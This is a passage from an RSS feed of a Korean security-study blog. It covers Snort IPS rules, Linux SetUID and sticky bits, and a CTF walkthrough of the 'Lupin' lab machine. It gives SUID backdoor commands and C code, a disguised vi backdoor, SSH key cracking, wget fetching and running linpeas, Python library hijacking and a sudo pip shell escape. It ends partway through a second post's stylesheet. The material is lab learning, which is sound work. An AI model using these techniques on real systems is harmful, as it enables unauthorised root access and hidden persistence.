&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프로토콜&lt;/td&gt;
&lt;td&gt;icmp&lt;/td&gt;
&lt;td&gt;ICMP 패킷 대상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;출발지&lt;/td&gt;
&lt;td&gt;any any&lt;/td&gt;
&lt;td&gt;모든 IP, 모든 포트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;방향&lt;/td&gt;
&lt;td&gt;-&amp;gt;&lt;/td&gt;
&lt;td&gt;단방향&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;목적지&lt;/td&gt;
&lt;td&gt;any any&lt;/td&gt;
&lt;td&gt;모든 IP, 모든 포트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;msg&lt;/td&gt;
&lt;td&gt;&quot;IPS PING TEST&quot;&lt;/td&gt;
&lt;td&gt;로그에 표시될 메시지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sid&lt;/td&gt;
&lt;td&gt;1000001&lt;/td&gt;
&lt;td&gt;사용자 정의 룰 ID (1000000번대 사용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# Kali에서 핑 발송
sudo ping 172.16.11.236

# Ubuntu에서 차단 로그 확인
tail /var/log/snort/snort.alert.fast | grep drop
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 리눅스 특수 권한&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;/etc/passwd 파일 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순서 필드 설명&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Username&lt;/td&gt;
&lt;td&gt;로그인 이름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Password&lt;/td&gt;
&lt;td&gt;현재는 x로 표시. 실제 해시는 /etc/shadow에 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;UID&lt;/td&gt;
&lt;td&gt;사용자 고유 ID. 0은 root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;GID&lt;/td&gt;
&lt;td&gt;기본 그룹 ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;GECOS&lt;/td&gt;
&lt;td&gt;이름, 연락처 등 부가 정보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Home Dir&lt;/td&gt;
&lt;td&gt;홈 디렉토리 경로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Shell&lt;/td&gt;
&lt;td&gt;기본 쉘 경로&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;RGID와 EGID&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구분 설명&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RGID (Real Group ID)&lt;/td&gt;
&lt;td&gt;프로세스를 실행한 실제 사용자의 그룹 ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;EGID (Effective Group ID)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;커널이 실제 권한 체크 시 참조하는 그룹 ID&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 접근 권한을 판단할 때 커널은 RGID가 아닌 EGID를 본다. SetUID/SetGID가 이 차이를 이용한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SetUID (SUID)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SetUID는 &lt;b&gt;실행 파일에 설정하는 특수 권한&lt;/b&gt;이다. 이 권한이 설정된 파일은 누가 실행하든 파일 소유자의 권한(EUID)으로 동작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 이게 중요한가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스에서 일반 사용자가 passwd 명령어로 자신의 비밀번호를 변경할 수 있는 이유가 바로 SetUID 때문이다. /usr/bin/passwd는 root 소유의 파일이고 SUID가 설정돼 있어서, 일반 유저가 실행해도 실행 순간만큼은 root 권한으로 /etc/shadow를 수정할 수 있다. 문제는 이 구조가 &lt;b&gt;공격자에게도 동일하게 작동한다&lt;/b&gt;는 점이다. SUID가 설정된 파일을 악의적으로 만들거나, 기존 SUID 바이너리의 취약점을 이용하면 일반 계정으로 root 쉘을 획득할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;파일 표기: -rwsr-xr-x
숫자 표기: 4755
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;crmsh&quot;&gt;&lt;code&gt;# SUID 설정된 파일 목록 조회 (보안 점검 시 필수)
sudo find / -user root -perm /4000
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SetUID 백도어 실습&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# bash 복사 후 SUID 부여
sudo cp /bin/bash /tmp/bash
sudo chmod 4755 /tmp/bash

# 일반 유저로 실행
cd /tmp
./bash   # &amp;rarr; root 쉘 획득
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;C 백도어 작성&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;autoit&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

main() {
    setuid(0);
    setgid(0);
    system(&quot;/bin/bash&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;gcc -o backdoor backdoor.c
sudo chmod 4755 backdoor

# 일반 유저로 실행
su ys
./backdoor   # &amp;rarr; root 쉘
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;setuid(0)과 setgid(0)은 프로세스의 UID/GID를 강제로 0(root)으로 변경하는 호출이다. 파일에 SUID가 설정돼 있으면 이 호출이 성공하고, 이후 system(&quot;/bin/bash&quot;)로 root 쉘이 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;vi 하이재킹 실습&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SUID 파일의 이름을 자주 쓰는 시스템 명령어로 위장하면 탐지가 어렵다.&lt;/p&gt;
&lt;pre class=&quot;cmake&quot;&gt;&lt;code&gt;# vi 백도어를 실제 vi 경로에 복사
gcc -o vibackdoor vibackdoor.c
# /usr/bin/vi는 alternatives를 통해 실제 바이너리로 연결됨
# test 계정으로 vi 실행 시 root 쉘 획득
su test
vi test.txt   # &amp;rarr; root 쉘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Sticky Bit&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공용 디렉토리에서 &lt;b&gt;자신이 만든 파일만 자신(과 root)이 삭제할 수 있도록&lt;/b&gt; 제한하는 권한이다. /tmp가 대표적인 예시다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;mkdir /share_d
chmod 1777 /share_d
ls -ld /share_d
# drwxrwxrwt &amp;rarr; 마지막 't'가 Sticky Bit
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한 숫자 의미&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SetUID&lt;/td&gt;
&lt;td&gt;4xxx&lt;/td&gt;
&lt;td&gt;파일 소유자 권한으로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SetGID&lt;/td&gt;
&lt;td&gt;2xxx&lt;/td&gt;
&lt;td&gt;파일 그룹 권한으로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sticky Bit&lt;/td&gt;
&lt;td&gt;1xxx&lt;/td&gt;
&lt;td&gt;본인 파일만 본인이 삭제 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. CTF &amp;mdash; Lupin&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;정찰&lt;/h3&gt;
&lt;pre class=&quot;crystal&quot;&gt;&lt;code&gt;# 포트 및 서비스 스캔
sudo nmap -A -sS -sC -p- 172.16.11.219

# 디렉토리 탐색
sudo dirb http://172.16.11.219
sudo gobuster dir -u http://172.16.11.219 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;nmap 주요 옵션&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옵션 명칭 설명&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;-sS&lt;/td&gt;
&lt;td&gt;TCP SYN Scan&lt;/td&gt;
&lt;td&gt;연결을 완전히 맺지 않는 스텔스 스캔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-sV&lt;/td&gt;
&lt;td&gt;Version Detection&lt;/td&gt;
&lt;td&gt;서비스 버전 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-sC&lt;/td&gt;
&lt;td&gt;Default Script&lt;/td&gt;
&lt;td&gt;기본 NSE 스크립트 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-sn&lt;/td&gt;
&lt;td&gt;Ping Scan&lt;/td&gt;
&lt;td&gt;생존 여부만 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-A&lt;/td&gt;
&lt;td&gt;Aggressive&lt;/td&gt;
&lt;td&gt;OS/버전/스크립트/traceroute 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-p-&lt;/td&gt;
&lt;td&gt;All Ports&lt;/td&gt;
&lt;td&gt;전체 65535 포트 스캔&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;FFUF 디렉토리 퍼징 (디렉터리&amp;nbsp;검색,&amp;nbsp;퍼징&amp;nbsp;등을&amp;nbsp;수행하는&amp;nbsp;fest&amp;nbsp;web&amp;nbsp;fuzzer)&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# 유저 디렉토리 탐색 (~FUZZ 형태)
sudo ffuf -u http://172.16.11.219/~FUZZ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -t 200 -c
# &amp;rarr; /~secret 발견

# 확장자 포함 파일 탐색
sudo ffuf -u http://172.16.11.219/~secret/.FUZZ \
  -e .py,.java,.php,.dart,.rar,.zip,.txt,.html \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -t 200 -c -ic -fc 403

# 일반 파일 탐색
sudo ffuf -u http://172.16.11.219/~secret/FUZZ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -ic -v
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인코딩 &amp;mdash; Base64 vs Base58&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발견한 데이터가 인코딩된 형태였다. 두 방식의 차이를 정리했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구분 Base64 Base58&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;사용 문자 수&lt;/td&gt;
&lt;td&gt;64개&lt;/td&gt;
&lt;td&gt;58개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;특수문자&lt;/td&gt;
&lt;td&gt;+, / 포함&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;패딩&lt;/td&gt;
&lt;td&gt;= 사용&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;혼동 문자&lt;/td&gt;
&lt;td&gt;O, 0, I, l 포함&lt;/td&gt;
&lt;td&gt;제거됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;주요 용도&lt;/td&gt;
&lt;td&gt;데이터 전송, 이메일&lt;/td&gt;
&lt;td&gt;암호화폐 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SSH 개인키 크랙 &amp;mdash; John the Ripper&lt;/h3&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;# 권한 설정
sudo chmod 600 /home/red/victim_id_rsa

# ssh2john으로 해시 추출
sudo ssh2john /home/red/victim_id_rsa &amp;gt; hash_password

# 사전 파일로 크랙
sudo john --wordlist=/usr/share/wordlists/fasttrack.txt hash_password
# 결과: P@55w0rd!
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;J&lt;b&gt;ohn the Ripper는 해시를 사전 대입(Dictionary Attack) 또는 무차별 대입(Brute-force) 방식으로 크랙한다. SSH 개인키는 ssh2john으로 먼저 john이 처리할 수 있는 해시 형태로 변환해야 한다.&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;권한 상승 1 &amp;mdash; Python Library Hijacking&lt;/h3&gt;
&lt;pre class=&quot;crystal&quot;&gt;&lt;code&gt;# 공격자 머신에서 linpeas 서빙
python3 -m http.server 8080

# 피해자 머신에서 다운로드
wget http://172.16.11.213:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# heist.py 확인
cat /home/arsene/heist.py

# webbrowser 모듈 경로 탐색
find / -name '*webbrowser*' 2&amp;gt;/dev/null

# 모듈 파일 수정
vi /usr/lib/python3.9/webbrowser.py
# import 구문 바로 아래에 추가:
# os.system(&quot;/bin/bash&quot;)

# arsene 권한으로 heist.py 실행
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
id   # arsene 권한 확인
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 이게 가능한가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;heist.py가 import webbrowser를 호출할 때 Python은 시스템에 설치된 /usr/lib/python3.9/webbrowser.py를 불러온다. 해당 파일을 수정할 수 있는 권한이 있었기 때문에, import 시점에 우리가 심어둔 os.system(&quot;/bin/bash&quot;)가 실행됐다. 프로그램이 신뢰하는 외부 모듈을 공격자가 조작하는 것을 &lt;b&gt;Library Hijacking&lt;/b&gt;이라고 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;권한 상승 2 &amp;mdash; pip setup.py 악용&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# sudo 가능 명령어 확인
sudo -l
# &amp;rarr; /usr/bin/pip 실행 가능 확인

# 임시 디렉토리 생성
TF=$(mktemp -d)

# setup.py에 쉘 코드 삽입
echo &quot;import os; os.execl('/bin/sh', 'sh', '-c', 'sh &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)')&quot; &amp;gt; $TF/setup.py

# root 권한으로 pip 실행
sudo /usr/bin/pip install $TF
# &amp;rarr; root 쉘 획득
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 pip로 권한 상승이 가능한가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pip install은 패키지를 설치하는 과정에서 setup.py를 실행한다. sudo pip로 실행하면 이 setup.py가 root 권한으로 실행된다. 따라서 setup.py 안에 쉘을 여는 코드를 넣으면 root 쉘이 떨어진다. Library Hijacking과 본질적으로 같은 원리다. 신뢰받는 실행 경로에 공격자의 코드를 끼워넣는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가 정리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;sudo&amp;nbsp;-u&amp;nbsp;arsene&amp;nbsp;/usr/bin/python3.9&amp;nbsp;/home/arsene/heist.py&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;1.&amp;nbsp;sudo&amp;nbsp;-u&amp;nbsp;[사용자]의&amp;nbsp;마법 &lt;br /&gt;sudo는 기본적으로 &quot;다른 사용자의 권한으로 명령을 실행하라&quot;는 도구입니다.&lt;br /&gt;-u arsene: 이 옵션은 &quot;나(icex64) 말고, arsene이라는 사용자의 이름으로 뒤에 오는 명령어를 실행해줘&quot;라고 시스템에 요청하는 것입니다.&lt;br /&gt;결과적으로&amp;nbsp;/usr/bin/python3.9&amp;nbsp;/home/arsene/heist.py라는&amp;nbsp;프로그램이&amp;nbsp;실행될&amp;nbsp;때,&amp;nbsp;운영체제는&amp;nbsp;이&amp;nbsp;프로그램의&amp;nbsp;주인을&amp;nbsp;icex64가&amp;nbsp;아닌&amp;nbsp;arsene으로&amp;nbsp;인식하게&amp;nbsp;됩니다. &lt;br /&gt;&lt;br /&gt;icex64가 sudo -u arsene으로 프로그램을 돌림.&lt;br /&gt;프로그램은 arsene의 권한으로 살아남.&lt;br /&gt;프로그램이 webbrowser.py를 읽는 순간, 우리가 심어둔 코드가 작동하여 arsene 권한의 쉘(/bin/bash)을 띄움.&lt;br /&gt;프로그램이&amp;nbsp;종료되지&amp;nbsp;않고&amp;nbsp;쉘이&amp;nbsp;열려&amp;nbsp;있으니,&amp;nbsp;사용자는&amp;nbsp;그대로&amp;nbsp;arsene&amp;nbsp;계정&amp;nbsp;안에&amp;nbsp;머물게&amp;nbsp;됨. &lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;오늘의 핵심 정리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주제 핵심&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Snort IPS&lt;/td&gt;
&lt;td&gt;afpacket + inline 모드, 인터페이스 두 개를 :로 묶어 인라인 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Promiscuous Mode&lt;/td&gt;
&lt;td&gt;NIC가 자신 외의 패킷도 수신. IDS/IPS 필수 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SetUID&lt;/td&gt;
&lt;td&gt;실행 시 소유자 권한으로 동작. 보안 점검 시 find / -perm /4000 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Library Hijacking&lt;/td&gt;
&lt;td&gt;프로그램이 import하는 모듈을 교체해 원하는 코드를 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sudo -l&lt;/td&gt;
&lt;td&gt;권한 상승 시도 전 항상 먼저 확인. 예상치 못한 경로가 열려 있는 경우가 많음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;linpeas&lt;/td&gt;
&lt;td&gt;결과가 방대하므로 SUID, sudo 권한, writable 경로 섹션부터 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
      <category>리눅스</category>
      <category>snort #promiscuousmode # setuid #hijacking</category>
      <author>palantirops</author>
      <guid isPermaLink="true">https://palantirops.tistory.com/45</guid>
      <comments>https://palantirops.tistory.com/45#entry45comment</comments>
      <pubDate>Thu, 14 May 2026 17:34:25 +0900</pubDate>
    </item>
    <item>
      <title>[KaliLinux &amp;amp; Ubuntu &amp;amp; CTF] OSSEC HIDS &amp;middot; CTF 해킹 실습 &amp;middot; IDS (Snort / Suricata) &amp;mdash; 처음부터 따라할 수 있는 레퍼런스</title>
      <link>https://palantirops.tistory.com/44</link>
      <description>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;ko&quot;&gt;
&lt;head&gt;
&lt;meta charset=&quot;UTF-8&quot;&gt;
&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
&lt;title&gt;보안 실습 노트 | OSSEC · CTF · IDS&lt;/title&gt;
&lt;style&gt;
  @import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&amp;family=Noto+Sans+KR:wght@400;500;700&amp;display=swap');

  :root {
    --bg: #ffffff;
    --surface: #f5f6fa;
    --surface2: #eaecf4;
    --border: #d0d4e8;
    --accent-green: #1a9e5c;
    --accent-blue: #2563eb;
    --accent-orange: #c2621a;
    --accent-red: #c0392b;
    --accent-purple: #6d28d9;
    --text: #1a1c2e;
    --text-muted: #52587a;
    --code-bg: #f0f2fa;
  }

  * { margin: 0; padding: 0; box-sizing: border-box; }

  body {
    background: var(--bg);
    color: var(--text);
    font-family: 'Noto Sans KR', sans-serif;
    font-size: 15px;
    line-height: 1.8;
  }

  /* ── 헤더 ── */
  header {
    border-bottom: 1px solid var(--border);
    padding: 40px 0 32px;
    text-align: center;
    background: linear-gradient(180deg, #eef0fb 0%, var(--bg) 100%);
  }

  header .badge {
    display: inline-block;
    font-family: 'JetBrains Mono', monospace;
    font-size: 11px;
    letter-spacing: 2px;
    text-transform: uppercase;
    color: var(--accent-green);
    border: 1px solid var(--accent-green);
    padding: 3px 12px;
    border-radius: 2px;
    margin-bottom: 16px;
  }

  header h1 {
    font-size: 28px;
    font-weight: 700;
    color: #111;
    margin-bottom: 8px;
  }

  header p {
    color: var(--text-muted);
    font-size: 14px;
  }

  /* ── 목차 ── */
  nav.toc {
    max-width: 860px;
    margin: 32px auto;
    padding: 0 24px;
  }

  nav.toc ul {
    display: flex;
    flex-wrap: wrap;
    gap: 10px;
    list-style: none;
  }

  nav.toc a {
    font-family: 'JetBrains Mono', monospace;
    font-size: 12px;
    color: var(--text-muted);
    text-decoration: none;
    border: 1px solid var(--border);
    padding: 5px 14px;
    border-radius: 3px;
    transition: all .2s;
  }
  nav.toc a:hover { color: var(--accent-blue); border-color: var(--accent-blue); }

  /* ── 메인 레이아웃 ── */
  main {
    max-width: 860px;
    margin: 0 auto;
    padding: 0 24px 80px;
  }

  /* ── 섹션 ── */
  section {
    margin-bottom: 60px;
  }

  .section-header {
    display: flex;
    align-items: center;
    gap: 12px;
    margin-bottom: 24px;
    padding-bottom: 12px;
    border-bottom: 1px solid var(--border);
  }

  .section-header .num {
    font-family: 'JetBrains Mono', monospace;
    font-size: 11px;
    color: var(--accent-green);
    background: rgba(61,214,140,.08);
    padding: 2px 8px;
    border-radius: 2px;
  }

  .section-header h2 {
    font-size: 20px;
    font-weight: 700;
    color: #111;
  }

  .section-header .tag {
    font-family: 'JetBrains Mono', monospace;
    font-size: 11px;
    padding: 2px 10px;
    border-radius: 2px;
    margin-left: auto;
  }
  .tag-server  { background: rgba(91,141,239,.15); color: var(--accent-blue); }
  .tag-agent   { background: rgba(244,162,97,.15);  color: var(--accent-orange); }
  .tag-ctf     { background: rgba(167,139,250,.15); color: var(--accent-purple); }
  .tag-ids     { background: rgba(231,111,81,.15);  color: var(--accent-red); }
  .tag-concept { background: rgba(61,214,140,.12);  color: var(--accent-green); }

  /* ── 설명 박스 ── */
  .info-box {
    background: var(--surface);
    border: 1px solid var(--border);
    border-left: 3px solid var(--accent-green);
    border-radius: 6px;
    padding: 16px 20px;
    margin-bottom: 20px;
    font-size: 14px;
    color: #b0b8d8;
  }

  .info-box.orange { border-left-color: var(--accent-orange); }
  .info-box.purple { border-left-color: var(--accent-purple); }
  .info-box.blue   { border-left-color: var(--accent-blue); }
  .info-box.red    { border-left-color: var(--accent-red); }

  .info-box strong { color: var(--text); }

  /* ── 명령어 블록 ── */
  .cmd-block {
    background: var(--code-bg);
    border: 1px solid var(--border);
    border-radius: 6px;
    margin-bottom: 24px;
    overflow: hidden;
  }

  .cmd-block .cmd-title {
    background: var(--surface2);
    padding: 8px 16px;
    font-family: 'JetBrains Mono', monospace;
    font-size: 11px;
    color: var(--text-muted);
    letter-spacing: 1px;
    text-transform: uppercase;
    border-bottom: 1px solid var(--border);
    display: flex;
    align-items: center;
    gap: 8px;
  }

  .cmd-block .cmd-title::before {
    content: '';
    display: inline-block;
    width: 8px; height: 8px;
    border-radius: 50%;
    background: var(--accent-green);
  }

  .cmd-block pre {
    padding: 16px 20px;
    font-family: 'JetBrains Mono', monospace;
    font-size: 13px;
    line-height: 1.9;
    overflow-x: auto;
    color: #1e2340;
  }

  .cmd-block pre .comment {
    color: var(--text-muted);
    font-style: normal;
  }

  .cmd-block pre .cmd-keyword { color: var(--accent-blue); }
  .cmd-block pre .cmd-flag    { color: var(--accent-orange); }
  .cmd-block pre .cmd-path    { color: var(--accent-green); }
  .cmd-block pre .cmd-value   { color: var(--accent-purple); }
  .cmd-block pre .cmd-warn    { color: var(--accent-red); }

  /* ── 인라인 코드 ── */
  code {
    font-family: 'JetBrains Mono', monospace;
    font-size: 12.5px;
    background: var(--surface2);
    color: var(--accent-green);
    padding: 1px 6px;
    border-radius: 3px;
  }

  /* ── 스텝 ── */
  .steps {
    counter-reset: step;
    list-style: none;
    display: flex;
    flex-direction: column;
    gap: 6px;
    margin-bottom: 20px;
  }

  .steps li {
    counter-increment: step;
    display: flex;
    align-items: baseline;
    gap: 12px;
    font-size: 14px;
    color: var(--text-muted);
  }

  .steps li::before {
    content: counter(step, decimal-leading-zero);
    font-family: 'JetBrains Mono', monospace;
    font-size: 11px;
    color: var(--accent-green);
    flex-shrink: 0;
  }

  /* ── 테이블 ── */
  table {
    width: 100%;
    border-collapse: collapse;
    margin-bottom: 20px;
    font-size: 14px;
  }

  th {
    background: var(--surface2);
    color: var(--text-muted);
    font-family: 'JetBrains Mono', monospace;
    font-size: 11px;
    text-transform: uppercase;
    letter-spacing: 1px;
    padding: 10px 14px;
    text-align: left;
    border: 1px solid var(--border);
  }

  td {
    padding: 10px 14px;
    border: 1px solid var(--border);
    vertical-align: top;
  }

  tr:nth-child(even) td { background: rgba(0,0,0,.02); }

  td:first-child { color: var(--accent-green); font-family: 'JetBrains Mono', monospace; font-size: 13px; }

  /* ── 경고 배너 ── */
  .warn-banner {
    background: rgba(231,111,81,.08);
    border: 1px solid rgba(231,111,81,.3);
    border-radius: 6px;
    padding: 12px 18px;
    font-size: 13px;
    color: #f0b8a8;
    margin-bottom: 20px;
  }

  .warn-banner::before { content: '⚠ '; }

  /* ── 흐름도 ── */
  .flow {
    display: flex;
    align-items: center;
    flex-wrap: wrap;
    gap: 8px;
    margin: 16px 0 24px;
  }

  .flow-item {
    background: var(--surface);
    border: 1px solid var(--border);
    border-radius: 4px;
